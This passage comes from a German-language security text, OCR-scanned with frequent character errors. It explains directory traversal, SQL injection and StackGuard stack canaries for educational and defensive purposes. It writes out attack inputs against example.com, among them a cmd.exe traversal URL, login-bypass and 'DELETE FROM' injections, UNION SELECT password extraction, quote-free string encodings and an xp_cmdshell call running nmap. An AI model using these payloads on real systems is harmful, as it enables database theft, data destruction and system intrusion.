re, um auf Dateien zuzugreifen, die eigentlich nicht fiir ihn bzw.
den Webserver zugreifbar sein sollten [w-dtd| iw-dtel imperva2006,
acunetix|].

Webserver liefern ihre Dateien aus einem sogenannten Do-
cumentRoot heraus aus. Oberhalb dieses Verzeichnisses muss
der Webserver den Zugriff auf Dateien und Ordner verwei-
gern, da unter Umstdnden wichtige Dateien ausgelesen wer-
den konnten, wie Quelltexte der darauf arbeitenden Webappli-
kationen, Konfigurationsdateien des Webservers oder des Sys-
tems oder andere wichtige Daten wie Benutzerlisten oder Pass-
worthashes. Daher sollte der Webserver seinen Dateisystemzugrif-
fen immer seine DocumentRoot voranstellen: eine URL-Anfrage
http://www.example.com/index.php bedeutet fiir den
Server selbst einen Zugriff auf DocumentRoot /index. php. Ist
die DocumentRoot beispielsweise /var/www/, wird der Dateisys-
temzugriff ausgefiihrt auf /var/www/index.php.

Dies dndert jedoch nichts an der Verwundbarkeit durch
Directory Traversal-Angriffe. Fiigt ein Angreifer Strings wie
»- ./ (ein Dateisystemverweis auf das nichsthohere, tiberge-
ordnete Verzeichnis) oder Umschreibungen dieser Zeichenket-
te in seine Serveranfrage ein, so kann er aus dieser Beschrin-
kung ausbrechen. Ist zum Beispiel ein fiir Directory Traversal-

Attacken anfilliger Webserver mit DocumentRoot /var/www/
unter der URL http://www.example.com erreichbar, so ge-
niigt in diesem Szenario schon ein Aufruf von zum Beispiel
http://www.example.com/../log/dmesg, um das Ker-
nel Ring Buffer-Logfile (/var/log/dmesqg) des unterliegenden
*nix-Systems auszulesen. Die Anzahl an Verzeichnissen, die der
Angreifer aufwirts wandern muss, ist ihm nicht von vornherein be-
kannt, durch Ausprobieren kommt er jedoch schnell ans Ziel.

So konnte der Angreifer jede Datei auslesen oder unter Umstin-
den sogar ausfiihren, auf die der Webserver zugreifen darf. Tauscht
der Angreifer den Webserver derart, dass dieser die geoffnete Da-
tei wie eine ausfiihrbare Datei aus einem seiner dafiir vorgesehenen
Verzeichnisse behandelt, so wird der Webserver diese ausfiihren.
Dies beispielsweise ist eine leicht modifizierte Variante einer IIS-
Schwachstelle:

http://www.example.com/scripts/../../
Windows/System32/cmd.exe?/c+dir+c:\

Diese Anfrage wiirde den Webserver dazu bringen, die Windows-
Kommandozeile cmd.exe auszufithren, die mit dem Parame-
ter ,,/c dir c:\* wiederum ihrerseits den Befehl ,,dir c:\*
ausfithrt und dem Angreifer so eine Liste der Dateien des C:\-
Verzeichnisses zuriickliefert.

Auch wenn der Webserver selbst nicht verwundbar ist, kann
es immer noch passieren, dass darauf arbeitende eigenstindige
Software, wie zum Beispiel der PHP-Interpreter (der meist ei-
ne eigene, doc_root genannte DocumentRoot besitzt), anfillig
sind. Der heutzutage vermutlich am héufigsten auftretende Fall
sind mangelhaft programmierte Webapplikationen [Martin2007].
Da der Webserver nicht fiir die Uberpriifung aller Software-
Dateisystemzugriffe verantwortlich ist bzw. es unter Umstidnden
sogar erwiinscht ist, dass diese auf unterschiedliche Bereiche des
Dateisystems zugreifen konnen, kann (durch Ausnutzen von Si-
cherheitsliicken in PHP-Skripten oder PHP selbst) die Beschrin-
kung des Servers, soweit es das System gestattet, unterwandert wer-
den. So kann zum Beispiel ein PHP-Skript, welches einen Datein-
amen als Parameter bekommt (http://www.example.com/—
index.php?datei.html) und diesen nicht ausreichend iiber-
priift, mit einem Aufruf wie http://www.example.com/~
index.php?../log/dmesg missbraucht werden.

SQL-Injection

SQL-Injection ist eine Schwachstelle, die, unabhiingig von der Pro-
grammiersprache, auf interaktiven Webseiten mit Datenbankanbin-
dung auftreten kann. Werden die Benutzereingaben nicht ausrei-
chend gepriift und in der Datenbankanfrage verwendet, so kann ein
Angreifer SQL-Code einschleusen.

Auf diese Weise ist nicht nur das Ausspdhen der Datenbank-
inhalte moglich: In SQL-Datenbanken fehlte lange Zeit brauchba-
res Benutzermanagement und auch nach dessen Einfiihrung setzt es
sich nur langsam durch. Software oder Teile von Software, die ei-
gentlich nur Lesezugriff auf die Datenbank benétigen wiirde, kiim-
mert sich meist nicht um eine klare Trennung von Lese- und Schrei-
brechten und jeder Angreifer ist prinzipiell in der Lage, die zur
Anwendung gehorigen Datenbankinhalte komplett zu 16schen, zu
iiberschreiben oder zu verdndern. Wenn der Angreifer die Daten-
bankstruktur einer verwundbaren Software herausgefunden hat, die
die Datenbank zur Benutzerverwaltung nutzt, so ist er zum Beispiel



in der Lage, sich in der Webanwendung Administratorrechte zu be-
schaffen.

SQL-Injection wurde Ende 1998 durch einen Phrack-Beitrag
[rfp1998] von Rain Forest Puppy (RFP) erstmals an die Offent-
lichkeit gebracht. Weitaus grofiere Bekanntheit erlangte jedoch erst
knapp 2 Jahre spiter sein Advisory ,,How I hacked PacketStorm*
[rfp2001]. Es ist zu vermuten, dass derartige Schwachstellen bereits
vorher ausgenutzt wurden.

Bei der SQL-Injection handelt es sich keineswegs um eine
Schwachstelle der Datenbank, der Fehler ist auf Seiten der We-
banwendung zu suchen. Diese erlaubt es dem Angreifer, ungepriif-
te oder nicht ausreichend gereinigte Daten an die Datenbank zu
ibergeben. Auf diese Weise bricht der Angreifer aus den von der
Webapplikation getétigten Befehlen aus und schleust eigene Daten-
bankbefehle ein.

SQL-Injection wird leicht unterschitzt, daher stellen wir an die-

ser Stelle noch einmal klar: Ist eine Webanwendung anfillig, so ist
der Angreifer - meist schon ohne Account in der Anwendung, also
ohne sich anzumelden -, einfach mithilfe der Website, die zum Lo-
gin dient, in der Lage, die gesamte Datenbank der Webanwendung
auszulesen, inklusive Passwortern oder Passworthashes der Benut-
zer, Artikeln und Beitrdgen, gegebenenfalls in der Datenbank ge-
speicherten Dateien und alles weitere, was die Webanwendung in
der Datenbank ablegt.
Dariiber hinaus kann er die Daten meist nach Belieben vollstindig
16schen oder verdndern und sich zum Beispiel einen eigenen Be-
nutzeraccount mit Administratorprivilegien in der Webanwendung
anlegen. Unter bestimmten Bedingungen, auf die wir spéter genauer
eingehen werden, ist der Angreifer zudem in der Lage, Systembe-
fehle auszufiithren und so aus der Datenbank auszubrechen.

Beispiele

Da SQL-Injection ein sehr weites Feld ist, werden wir hier nicht auf
jedes Detail eingehen konnen, dies ist an anderer Stelle zur Geniige
getan worden [spi12002} Isecuriteam2002} lunixw2005].

Nehmen wir zum Beispiel einmal an, unsere Anwendung sei ei-
ne SQL-basierte Nutzerdatenbank, bei der sich die Benutzer einfach
mit ihrem Namen und einem Passwort anmelden, um die anderen
gespeicherten Nutzer einsehen zu konnen. Der Java-Code des Re-
gistrierungsformulars (wir betrachten zunichst nur den Teil fiir den
Namen) konnte aussehen wie folgt:

name = request.getParameter ("name");
query = "INSERT INTO User (Realname)
VALUES ('" + name + "’')";

Mochte sich ,,B. E. Nutzer registrieren, fithrt unsere Webapplikati-
on folgenden Befehl aus:

INSERT INTO User (Realname)
VALUES (’'B. E. Nutzer’)

Soweit hat alles seine Richtigkeit. Doch was passiert, wenn sich
,.Rosie O’Donnell*“ anmelden mdchte?

INSERT INTO User (Realname)
VALUES (’Rosie O’Donnell’)

Die Anfrage fiihrt zu einer Fehlermeldung und Rosie kann sich nicht
anmelden. Warum? Das einfache Anfiihrungszeichen in ihrem Na-
men ist das Problem, da es mit den einfachen Anfithrungszeichen

am Anfang und Ende des Strings interferiert, wodurch die Syn-
tax des Befehls ungiiltig wird. Das einfache Anfiihrungszeichen ist
ein sogenanntes Metazeichen, es beendet den String vorzeitig und
fiihrt zu einer SQL-Fehlermeldung. Wenn unsere Webanwendung
derartige Zeichen nicht gesondert behandelt, wird nicht nur Rosie
am Registrieren gehindert, die Anwendung wird auch anfillig fiir
SQL-Injection-Angriffe [Huseby2004].

Sehen wir uns einen solchen Angriff einmal an. Ist ein Benutzer
registriert, kann er sich iiber folgendes Formular einloggen:

name = request.getParameter ("name");
pw = request.getParameter ("pass");
query =

"SELECT % FROM User WHERE Realname='"
+ name + "’ AND Password='" + pw + "'";

Verirgert dariiber, dass sie sich nicht registrieren kann, ldsst Rosie
ihre Wut an der Anwendung aus: Sie weiss, dass B. E. Nutzer sich
registriert hat und versucht, sich mit dem Benutzernamen ,B. E.
Nutzer’ --“einzuloggen. Unser Programm tibergibt pflichtbe-
wusst folgenden Befehl an Datenbank:

SELECT * FROM User WHERE Realname=
"B. E. Nutzer’ —--' AND Password=''

Da die beiden Bindestriche in SQL ebenfalls Metazeichen - ndmlich
Kommentarzeichen - sind, wird auf diese Weise die Passwortabfra-
ge abgeschaltet! Somit ist Rosie in der Lage, sich mit dem Account
des Opfers einzuloggen, ohne das Passwort des Opfers zu kennen.
Manch einer mag nun vorschnell sagen, dieses Problem sei
durch Herausfiltern der Bindestriche zu 16sen, dabei sind diese kei-
neswegs Teil des Problems. Wiederholen wir das Beispiel, diesmal
ohne Bindestriche, in Microsoft SQL (MSSQL). Dort ist der dop-
pelte Bindestrich kein Kommentarzeichen.
Hier das ASP/VBScript-Aquivalent des obigen Java-Codes:

name = Request.Form("name")

pw = Request.Form("pass")

query =
"SELECT % FROM User WHERE Realname='"
& name & "’ AND Password='"" & pw & "'"

Da Rosie weiss, dass ihr die Kommentarzeichen nicht helfen, spielt
sie mit den Pridzedenzregeln der Bool’schen Operatoren. Sie ldsst
das Passwortfeld erneut frei und wihlt als Benutzernamen ,,B. E.
Nutzer’ OR ’a’=’Db" Die Datenbank wird nun angewiesen,
die folgenden Anfrage auszufiihren:

SELECT * FROM User WHERE Realname=
"B. E. Nutzer’ OR 'a’="b’ AND Password='"'

Dank der Priorititen, die die Bool’schen Operatoren besitzen, er-
hilt Rosie erneut Zugriff, ohne das Passwort zu wissen und ohne
die Kommentarzeichen zu benutzen. Da AND Prioritit vor OR hat,
wird dieser Teil des Befehls zuerst ausgewertet:

"a’="b’ AND Password='"'

Da ” a’ nicht gleich " b’ ist, wird dieser Ausdruck zu FALSE aus-
gewertet, und die Anfrage reduziert sich auf:

SELECT % FROM User WHERE Realname=
"B. E. Nutzer’ OR FALSE

Damit OR zu TRUE ausgewertet wird, gentigt es, dass einer der Ope-
randen wabhr ist, daher reduziert sich die Anfrage weiter auf



SELECT » FROM User WHERE Realname=
"B. E. Nutzer’

Da dieser Eintrag existiert, wird Rosie der Login gestattet.

Die Bindestriche waren nicht das Problem. Die Sicherheits-
liicke besteht darin, dass der Angreifer in der Lage ist, ein einfaches
Anfiihrungszeichen in die Datenbankanfrage einzuschleusen, wel-
ches die iibergebene SQL-Stringkonstante vorzeitig beendet. Um
das Ganze ein wenig technischer auszudriicken: Das Problem liegt
im Kontext, in dem sich der SQL-Parser befindet, wenn er die Be-
nutzerdaten einliest. Im Detail sieht das folgendermalien aus: Wenn
der Parser gerade

SELECT * FROM User WHERE Realname=’

gelesen hat, inklusive des einfachen Anfithrungszeichen, geht er da-
zu iiber, eine Zeichenfolgenkonstante zu parsen. Er befindet sich
im ,,String-Kontext“. Das vom Angreifer eingefiigte einfache An-
fiihrungszeichen bringt den Parser dazu, diesen Kontext wieder zu
verlassen und auf weitere SQL-Befehle zu warten. Genau das ist
das Problem: Wir erlauben dem Angreifer, den SQL-Parser seinen
Kontext wechseln zu lassen.

Die Anfiihrungszeichen in den obigen Beispielen miissen esca-
ped werden. Wenn wir die Metazeichen escapen, weisen wir das
jeweilige Subsystem - hier die SQL-Datenbank - an, das Zeichen
von seiner Sonderfunktion zu befreien und somit nicht den Kontext
zu wechseln, wenn es vom Parser erreicht wird. Um Metazeichen
zu escapen, fligt man normalerweise ein Escapezeichen davor ein.
Wir gehen im Abschnitt ,,Gegenmalnahmen“genauer darauf ein.

Man konnte nun schlussfolgern, dass Anfithrungszeichen das
Problem sind. Manche Frameworks und Programmierplattformen
wie PHP sind sogar in der Lage, alle eingehenden Anfiihrungs-
zeichen automatisch zu escapen. Diese Schlussfolgerung ist jedoch
nicht ganz korrekt, und alle Anfithrungszeichen zu escapen ist der
falsche Weg, das Problem anzugehen. Anfithrungszeichen sind nur
dann problematisch, wenn sie den Parser seinen Kontext wechseln
lassen.

Beim folgenden Beispiel sind nahezu alle Zeichen problema-
tisch. Selbst wenn wir alle Anfithrungszeichen entfernen oder es-
capen, wird der folgende Angriff funktionieren. Nehmen wir an,
wir hitten ein ASP-Programm, das unter anderem Kundeninforma-
tionen mithilfe einer Kundennummer abfragt. Die Kundennummer
kommt von Clientseite in die Applikation, zum Beispiel iiber einen
URL-Parameter, und wird in der Variable cust ID gespeichert. Das
Programm bereitet eine Datenbankanfrage unter Einbeziehung der
custID vor:

custID = Request.QueryString("id")
query = "SELECT % FROM Customer
WHERE CustID=" & custID

Da um custID herum keine Anfiihrungszeichen stehen, ist zu er-
kennen, dass es sich dabei um eine numerische Variable handelt.
Da aber VBScript (und andere Skriptsprachen) ungetypt sind, ist
ein Angreifer in der Lage, mehr als nur Nummern in die Variable
einzufiigen, indem er den id-Parameter dndert zu:

1; DELETE FROM Customer

Unser Programm fiigt die Anfrage zusammen und iibergibt sie an
die Datenbank:

SELECT % FROM Customer
WHERE CustID=1;
DELETE FROM Customer

Der erste Teil der Anfrage wihlt, wie in der Anwendung vorgese-
hen, einen Kunden aus der Datenbank aus. Der zweite Teil 16scht
alle Kunden aus der Datenbank (wenn die Webanwendung in der
Datenbank das Recht dazu hat). Natiirlich hitte der zweite Teil der
Anfrage ein beliebiger SQL-Befehl sein konnen, zum Beispiel ein
INSERT oder UPDATE, um Daten in die Datenbank einzufiigen.
Nicht alle Datenbanksprachen erlauben die Konkatenation von Be-
fehlen, wie oben benutzt. Mindestens MSSQL und PostgreSQL ge-
statten es, bei MSSQL muss man nicht einmal das Semikolon ange-
ben.

Was war diesmal das Problem? Wir hatten offensichtlich kei-
ne bosartigen Anfithrungszeichen in der Anfrage. Schauen wir uns
erneut das Parsen und die Kontexte an. Wenn der Parser

SELECT * FROM Customer WHERE CustID=

gelesen hat, befindet er sich im Nummernkontext und erwartet ei-
ne Nummer. Escapen von Anfiihrungszeichen reicht hier nicht aus,
denn jedes nicht-numerische Zeichen bewegt den Parser dazu, die-
sen Kontext wieder zu verlassen und im Befehlskontext nach weite-
ren Befehlen zu suchen. Der korrekte Ansatz an dieser Stelle ist es,
sicherzustellen, dass die erwartete Nummer tatsidchlich eine Num-
mer ist. Die Details liefern wir, wenn wir uns mit den Gegenmaf3-
nahmen beschiftigen.

Informationsgewinn aus der Datenbank

Bisher haben wir uns damit beschiftigt, bestehende SQL-Befehle
zu ,erweitern‘ und angeschnitten, wie wir Datenbankinhalte mani-
pulieren konnen. Dabei haben wir uns stets innerhalb der Tabelle(n)
bewegt, auf die die verwundbare Webanwendung reguldr zugreift.
Nun wollen wir uns ansehen, wie sich Angreifer Zugang zu Da-
ten aus anderen Tabellen verschaffen konnen, die ihnen die Daten-
bank bzw. Webanwendung unter normalen Umstéinden nicht gibe.
Man konnte an dieser Stelle vermuten, ein weiterer eingeschleus-
ter SELECT-Befehl nach einem Semikolon fithre zum Erfolg, doch
dieser Ansatz funktioniert in den meisten Fillen nicht, da das Ergeb-
nis in einem weiteren, separaten Datensatz zuriickgegeben werden
wiirde. Da das normale Verhalten von Webapplikationen darin be-
steht, nur einen Datensatz zu erwarten, wiirde der zweite Datensatz
dem Angreifer niemals angezeigt werden.

Doch SQL bietet ein weiteres Konstrukt, welches fiir das Vor-
haben des Angreifers maf3geschneidert ist: UNION SELECT. Mit
UNION SELECT werden zwei oder mehrere mit SELECT gewon-
nene Datensitze zu einem einzelnen verbunden. Da die Spaltenna-
men vom ersten der SELECT-Statements vorgegeben werden, be-
merkt die Anwendung nicht, dass ein weiterer Befehl fiir den resul-
tierenden Datensatz verantwortlich ist.

Beispiel: Eine PHP-Anwendung zur Anzeige von News-
Beitrdgen. Jeder Beitrag gehort in eine von mehreren Kategorien
und der Benutzer kann sich Beitriige einer einzelnen Kategorie an-
zeigen lassen.

Scat = $_GET["category"];
$query = "SELECT ID,Title,Abstract
FROM News WHERE Category=" . cat;



Im obigen Code gibt der (ganzzahlige) URL-Parameter category
vor, welche Kategorie angezeigt werden soll. Weiss der Angreifer
nun, dass in der Datenbank eine weitere Spalte, User, existiert, in
der Namen und Passworter der Benutzer gespeichert sind, so kann
er eine Anfrage der Art

1 UNION SELECT 1,Realname,Password FROM User
stellen, die die Datenbank zur Ausfiihrung folgender Anfrage fiihrt:

SELECT ID,Title,Abstract FROM News
WHERE Category=1 UNION SELECT
1,Realname,Password FROM User

Das Resultat ist eine Website, auf der Beitragstitel und Zusammen-
fassungen zusammen mit Benutzernamen und Passwortern ange-
zeigt werden.

Warum die 1 in der Anfrage? Der Grund sind Einschrénkun-
gen von UNION SELECT, welches das zweite SELECT nur akzep-
tiert, wenn dieses dieselbe Anzahl Spalten wie das erste hat und
auBerdem die Datentypen der Spalten {ibereinstimmen. Der Angrei-
fer will nur Nutzernamen und Passworter, aber um auf die richtige
Spaltenzahl zu kommen, muss er eine weitere erfundene Spalte hin-
zufiigen. Da die Kategorie-ID numerisch ist, fiigt er einfach eine
Zahl als zusitzliche Spalte ein. Sowohl Newstitel und Newszusam-
menfassungen als auch Benutzername und Passwort sind Zeichen-
ketten, darum muss er hieran nichts dndern. Somit sind alle Anfor-
derungen erfiillt.

Meist braucht man jedoch UNION SELECT nicht, um nur eine
bestimmte Information aus der Datenbank zu bekommen. Findet der
Angreifer einen anfilligen INSERT- oder UPDATE-Befehl, kann er
sogenannte Subselects nutzen, um interessante Informationen zu er-
langen oder in die Datenbank einzuschleusen. Stellen wir uns eine
Anwendung vor, bei der Nutzer iiber ein Webformular ihre Adress-
informationen dndern konnen:

address = request.getParameter ("address");
userid =
(Integer) session.getValue ("userid");

query = "UPDATE User SET Address='"
+ address + "’/ WHERE ID=" + userid;

Die Anwendung fiigt die Benutzerangaben in die Anfrage ein, ohne
einfache Anfiithrungszeichen zu beriicksichtigen, und so kann ein
Angreifer, der das Passwort eines legitimen Benutzers herausfinden
mochte, als Adresse eingeben:

"ol
Realname='B.

(SELECT Password FROM User WHERE
E. Nutzer’) || '

Ist die ID des Angreifers zum Beispiel 1337, so ist die Datenban-
kanfrage die folgende:

UPDATE User SET Address='’ ||
(SELECT Password FROM User WHERE

Realname=’'B. E. Nutzer’) ||
"7 WHERE ID=1337
Da || ein Stringkonkatenationsoperator ist, fiigt die Subselect-

Anfrage das Passwort des fremden Nutzers in das Adressfeld des
Angreifers ein (solange die Anwendung die Passworter im Klartext
speichert, doch auch Passworthashes sind fiir den Angreifer nicht
nutzlos, da er versuchen kann, diese zu cracken).

Bietet der Datenbankserver die Moglichkeit, mehrere Anfragen
auf einmal zu stellen (sog. batched statements), so kann der Angrei-
fer zum Beispiel auch nach SELECT sein eigenes INSERT oder
UPDATE einschleusen, zum Beispiel diese Eingabe in ein numeri-
sches Feld:

1; UPDATE User SET Address=
(SELECT Password FROM User WHERE
Realname=’'B. E. Nutzer’)
WHERE ID=1337

Man beachte das WHERE am Ende der Anfrage. Ohne es wire die
Adresse jedes Nutzers auf das Passwort das Opfers gesetzt worden,
was vermutlich schnell bemerkt werden wiirde.

Auf Systemen, die Anfithrungszeichen entfernen oder escapen,
wie zum Beispiel PHP, wire obiges Beispiel erfolglos gewesen.
Doch natiirlich ist es moglich, auch diese Maflnahme zu umgehen:
Viele Datenbanken erlauben das Erzeugen von Zeichenketten oh-
ne Anfiihrungszeichen. In MS SQL Server kann man Strings iiber
deren ASCII-Codes (American Standards Code for Information In-
terchange) mit der char-Funktion erzeugen. So zum Beispiel die
Zeichenkettenkonstante ,,SQL:

char (83)+char (81) +char (76)

In PostgreSQL heifit die Funktion chr und der Konkatenationsope-
rator ist ein anderer:

chr (83) | |chr(81) | |chr (76)
Auch MySQL besitzt diese Funktion:
char (83,81, 76)

MySQL erlaubt unter Umsténden auch die Angabe von Strings in
Hexadezimalform:

0x53514cC

Wie bereits erwihnt, ist also das Filtern von Anfiihrungszeichen kei-
neswegs die Losung des Problems.

Informationsgewinn aus Fehlermeldungen

In den vorigen Abschnitten konnte der Angreifer sein Ziel oft nur
erreichen, weil er Informationen tiber die Datenbankstruktur besaf:
Welche Tabellen existieren, wie die Spalten darin heilen und wel-
chen Datentyp diese besitzen. Wie aber erhilt er diese Informatio-
nen?

Hier gibt es viele Moglichkeiten, doch eine der einfachsten ist
es, die Informationen aus Fehlermeldungen zu beziehen. Der An-
greifer konnte absichtlich eine Fehlermeldung provozieren, indem
er versucht, durch seine Eingaben ungiiltige Syntax zu erzeugen:

http://www.example.com/fund.asp?
1d=1+OR+mnbvcxy=1

Die Pluszeichen sind hierbei URL-enkodierte Leerzeichen (auch
moglich: $20 statt +). Da es keine Spalte mit Namen mnbvcxy
gibt, verrit uns die Datenbank nicht nur ihren Hersteller, sondern
auch reichlich Informationen iiber die Datenbankstruktur:



[Microsoft] [ODBC SQL Server Driver]
[SQL Server]Invalid column
name ’‘mnbvcxy’ .

SELECT group_name, symbol,
securityTypeName, maxSalesCharge,
MaxRedemptionFee, managementFee,
benchmark, price, security_name,
security_id, trade_date,
return_1_m AS retlm,
return_y_to_d AS rety2d,
return_12_m AS retl2m,
return_24_m AS ret24m,
return_48_m AS retd8m FROM fund_show
WHERE group_id = 1 OR mnbvcxy=1
ORDER BY return_1l_m DESC

Hier wurde die gesamte ungiiltige SELECT-Anweisung im Brow-
ser des Angreifers angezeigt. Mit diesem Wissen konnte er nun zum
Beispiel aufrufen:

http://www.example.com/fund.asp?
id=1; DELETE+FROM+fund_show+-—

Das Resultat wire verheerend.

Meist bekommt der Angreifer gliicklicherweise nicht derart de-
tailreiche Informationen, sondern nur einen Hinweis, dass die ein-
gefiigte Spalte nicht existiert. Nichtsdestotrotz ist dies fiir den An-
greifer wertvoll, da er nun weil3, dass er Befehle in die Datenbank
einschleusen kann. Und auch mit derart geringen Informationen
kann der Angreifer, mithilfe einer von David Litchfield und Chris
Anley entwickelten Methode [Litchfield2002| |/Anley2002al, die in
der Datenbank vorhandenen Tabellen und deren Spalten ausspihen.
Der interessierte Leser sei auf die Literaturangaben verwiesen.

Wie wir gesehen haben, konnen Fehlermeldungen gefihrlich
gesprichig sein. Ein Angreifer ist moglicherweise in der Lage, ver-
schiedene unscheinbare Fehlermeldungen hervorzurufen, die, zu-
sammengenommen, ein klares Bild der Datenbankstruktur bilden.
Um dies zu verhindern, sollte die Anwendung derart konfiguriert
sein, dass sie niemals detaillierte Fehlermeldungen an den Benut-
zer sendet. Darin eingeschlossen sind ,,versteckte” Fehlermeldun-
gen als Kommentare im Seitenquelltext. Solche Nachrichten sind
fiir einen zielstrebigen Angreifer keineswegs versteckt, denn die-
ser wird vermutlich jeglichen an ihn gesendeten Code aufmerksam
lesen. Deutlich besser aufgehoben sind Fehlermeldungen in einer
Logdatei, auf die die Benutzer der Anwendung keinen Zugrift ha-
ben. Fiir den Benutzer ist eine generische Fehlermeldung wie ,,Feh-
ler in der Datenbankanfrage* vollig ausreichend.

Im Idealfall sollte unsere Anwendung natiirlich nicht an uner-
warteten Benutzereingaben scheitern. Aber fiir den Fall, dass dies
trotzdem passiert, sollte unsere Anwendung keine fiir den Angrei-
fer niitzliche Information ausgeben.

Doch auch wenn diese Grundsitze eingehalten werden, ist die
Anwendung nicht gefeit gegen SQL-Injection. Chris Anley hat ein
Verfahren entwickelt, bei dem injizierte Verzogerungen zum Aus-
spdhen der Datenbank genutzt werden, mit deren Hilfe der Angrei-
fer an Informationen gelangen kann, ohne jemals eine Fehlermel-
dung zu Gesicht zu bekommen [Anley2002b]. Eine andere Metho-
de von Cesar Cerrudo bringt MS SQL Server dazu, sich mit einer

entfernten Datenbank zu verbinden und auf diese Weise viele Infor-
mationen preiszugeben [Cerrudo]. Auch ohne jegliche Fehlermel-
dungen sind Angreifer so in der Lage, SQL-Injection zu betreiben
[lsp105} imperva-bsqli].

Ausbruch aus der Datenbank

Bisher haben wir unsere Aktivititen auf die Datenbank fokussiert,
doch konnen wir es schaffen, aus der Beschridnkung der Datenbank
ins Betriebssystem auszubrechen, sei es Linux, Windows oder ein
vollig anderes? In speziellen Situationen ist dies tatsdchlich mog-
lich.

Die am besten dokumentierten Angriffe beziehen sich auf MS
SQL Stored Procedures, die es dem Angreifer erlauben, sich mit
anderen Datenbanken zu verbinden oder Befehle auf dem System
selbst auszufiihren, so zum Beispiel Portscans.

MS SQL Server verfiigt iiber eine Stored Procedure, genannt
xp_cmdshell, die es erlaubt, beliebige Systembefehle auszufiih-
ren. Wenn ein Angreifer es schafft, einen Aufruf dieser Prozedur zu
injizieren (und die Prozedur nicht deaktiviert oder entfernt wurde),
kann er das System und andere Anwendungen kontrollieren. Ein
Angriff konnte wie folgt aussehen:

http://www.example.com/index.php
?’ ;xp_cmdshell+’ nmap+10.0.0.1/16";——

Hier wurde ein Portscan auf ein ganzes IP-Subnetz vom Daten-
bankserver aus gestartet. Natiirlich ist der Angreifer auch in der La-
ge, sich einen Benutzeraccount auf dem Server zu erstellen, wenn
die Datenbanksoftware mit entsprechenden Privilegien ausgefiihrt
wird. Ist dies nicht der Fall, kann er auf verwundbare Software hof-
fen, mit der er seine Privilegien erweitern kann.



Gegenmafnahmen

Nachdem wir klassische Softwareschwachstellen der heutigen
Computer-Systeme vorgestellt haben, richten wir jetzt unser Haupt-
augenmerk auf die moglichen Gegenmalinahmen. Da es verschie-
dene Ansitze gibt, diesen Schwachstellen entgegenzuwirken, wur-
den diese in zwei Hauptkategorien aufgeteilt: Gegenmalinahmen,
die durch einen Compiler realisiert werden und solche, die der Ker-
nel des Betriebssystems zur Verfiigung stellt.

Compilerpatches

Die ersten Ideen, das Ausnutzen von Buffer Overlfows zu verhin-
dern, bestanden darin, zu erkennen, dass der Saved Instruction Poin-
ter tiberschrieben wurde. Hierzu gibt es mehrere Produkte bzw. Pro-
jekte speziell im Unix-/Linux-Umfeld. Drei Repridsentanten werden
nun folgend néher vorgestellt:

o StackGuard: erster sogenannte Stack Protector

o StackShield: hebt sich von StackGuard und Stack Smashing
Protector durch seinen etwas anderen Losungsansatz ab

o Stack Smashing Protector: ein verbesserter StackGuard von
IBM

Funktionsweise von StackGuard

Der erste Ansatz gegen klassische Buffer Overflows wurde von der
Firma Immunix Inc. (frither WireX) im Jahre 1997 als Patch fiir den
GNU C Compiler veroffentlicht. Dieser Patch modifiziert den Com-
piler und veranlafB8t diesen, beim Kompilieren von Software weite-
re Instruktionen in jedem Funktions-Prolog und Funktions-Epilog
abzulegen. Die Instruktionen im Prolog werden aufgerufen, wenn
im normalen Programmfluss eine Funktion aufgerufen wird. Durch
den Patch wird dafiir gesorgt, dass im Stack direkt vor den Saved
Instruction Pointer ein sogenannter Canary Value abgelegt wird.

Function arguments

Abbildung 8: Der von Stackguard abgelegte Canary im Einsatz

Die Instruktionen im Epilog werden aufgerufen, wenn die Funk-
tion abgearbeitet wurde und zuriickkehrt. Dabei iiberpriifen die In-
struktionen von StackGuard den Canary Value, ob dieser verdndert
wurde oder nicht. Die Philosophie, die dahinter steckt, ist folgen-
de: Wenn ein Angreifer es schafft, den Saved Instruction Pointer zu
iberschreiben, so muss er auch zwangslidufig den davor liegenden
Canary Value tiberschrieben haben. Wenn also der Canary Value
verdndert wurde, so wird dies durch den Funktions-Epilog aufge-
deckt und das Programm sofort terminiert, da man nun davon aus-
geht, dass der Saved Instruction Pointer auch manipuliert worden

ist. Wurde der Canary Value nicht verindert, so wird das Programm
weiter ausgefiihrt.

Der Typ des Canary Values ist bei StackGuard ein sogenann-
ter Terminator Canary. Charakteristisch fiir diesen Typ ist, dass der
Inhalt des Canarys immer derselbe ist, jedoch ist der Inhalt spe-
ziell ,,schwierig® gewihlt. So enthilt der Canary Value zum Bei-
spiel Nullbytes, Linefeeds und Carriage Returns. Diese Auswahl an
Werten soll es erschweren oder gar unmoglich machen, den Schutz-
mechanismus aushebeln zu konnen. Da der Canary Value immer
derselbe ist, ist dieser dem Angreifer bekannt. Um also den Saved
Instruction Pointer unbemerkt zu iiberschreiben, miisste der Angrei-
fer beim Uberschreiben nur darauf achten, dass der Canary Value
mit denselben Werten iiberschrieben wird, die er bereits enthilt. Der
spezielle Inhalt des Canary Values soll dies jedoch verhindern.

Als Beispiel stelle man sich eine Buffer Overflow Schwachstel-
le vor, die durch den falschen Einsatz der C-Funktion strcpy ()
in einem Programm existiert. Dem Angreifer ist es dann moglich,
beliebig viele Bytes auf den Stack zu schreiben und sich so bis zum
Saved Instruction Pointer hochzuarbeiten. Wird der Angreifer aber
durch den Canary Value gezwungen, ein Nullbyte auf den Stack
zu schreiben, so beendet die st rcpy () Funktion den Schreibvor-
gang, da Nullbytes das Signalzeichen zum Beenden eines Schreib-
vorganges sind. Der Angreifer schafft es somit nicht, sich bis zum
Saved Instruction Pointer hochzuarbeiten. Der Schreibvorgang wird
durch den speziellen Terminator Canary erfolgreich abgewehrt.

Die GeschwindigkeitseinbuBen durch die zusétzlichen Instruk-
tionen sollen laut Immunix Inc. zu vernachléssigen sein.

Schwachstellen von StackGuard

Da StackGuard die erste GegenmaBnahme war, um das Ausnut-
zen von Buffer Overflow Schwachstellen zu verhindern bzw. zu er-
schweren, ist es selbstverstindlich, dass diese Losung noch nicht
ganz ausgereift sein konnte. StackGuard bietet nur bei einem ,,Stan-
dard Buffer Overflow* Schutz. Andere mittlerweile eventuell sogar
viel wichtigere Bereiche, wie zum Beispiel der Heap, werden durch
StackGuard nicht geschiitzt. Exploits, die einen Heap Overflow als
Angriffsvektor nutzen, werden von StackGuard somit nicht beein-
trachtigt. Des Weiteren schiitzt StackGuard nur den Saved Instruc-
tion Pointer, nicht jedoch evtl. noch davor liegende lokale Variablen
(andere Buffer) oder gar Funktionszeiger. Lésst sich zum Beispiel
mit einem Buffer Overflow ein sich hinter dem Puffer befindender
Funktionszeiger iiberschreiben, so kann dieser auf eine beliebige
